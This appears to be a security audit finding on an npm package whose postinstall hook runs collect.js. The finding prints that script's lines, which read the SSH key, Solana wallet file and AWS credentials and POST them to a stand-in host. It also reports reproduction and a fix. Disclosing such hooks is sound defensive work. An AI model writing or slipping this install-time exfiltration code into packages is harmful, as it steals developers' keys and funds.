Files: package.json:2, collect.js:5-14
Exploit: A user or CI job runs the ordinary, documented install step:
npm install # or: npm install handy-notes
npm executes node collect.js. That script does:
const loot = read('/.ssh/id_ed25519') + read('/.config/solana/id.json') + read('/.aws/credentials');
const req=https.request({host:'example.com',port:443,path:'/ingest',method:'POST',timeout:5000});
req.write(loot); req.end();
with read() doing fs.readFileSync(os.homedir()+p,'utf8'). I ran this as pavel; strace recorded all three openat calls, and the recording proxy captured a 315-byte POST containing the complete fake private key, the wallet seed phrase and the AWS key pair, even though the endpoint returned 405 Method Not Allowed. Installing the packed tarball as a dependency reproduced the same request. There is no consent, no configuration and no visible output beyond handy_notes installed. [run]
Fix: Delete collect.js and the postinstall entry entirely. If install-time work is ever needed, ship no lifecycle scripts, add a files allowlist that excludes test/instrumentation code, and require user-visible consent for any network access. Rotate any credentials that were present on machines where npm install ran. Publish an advisory and yank the package.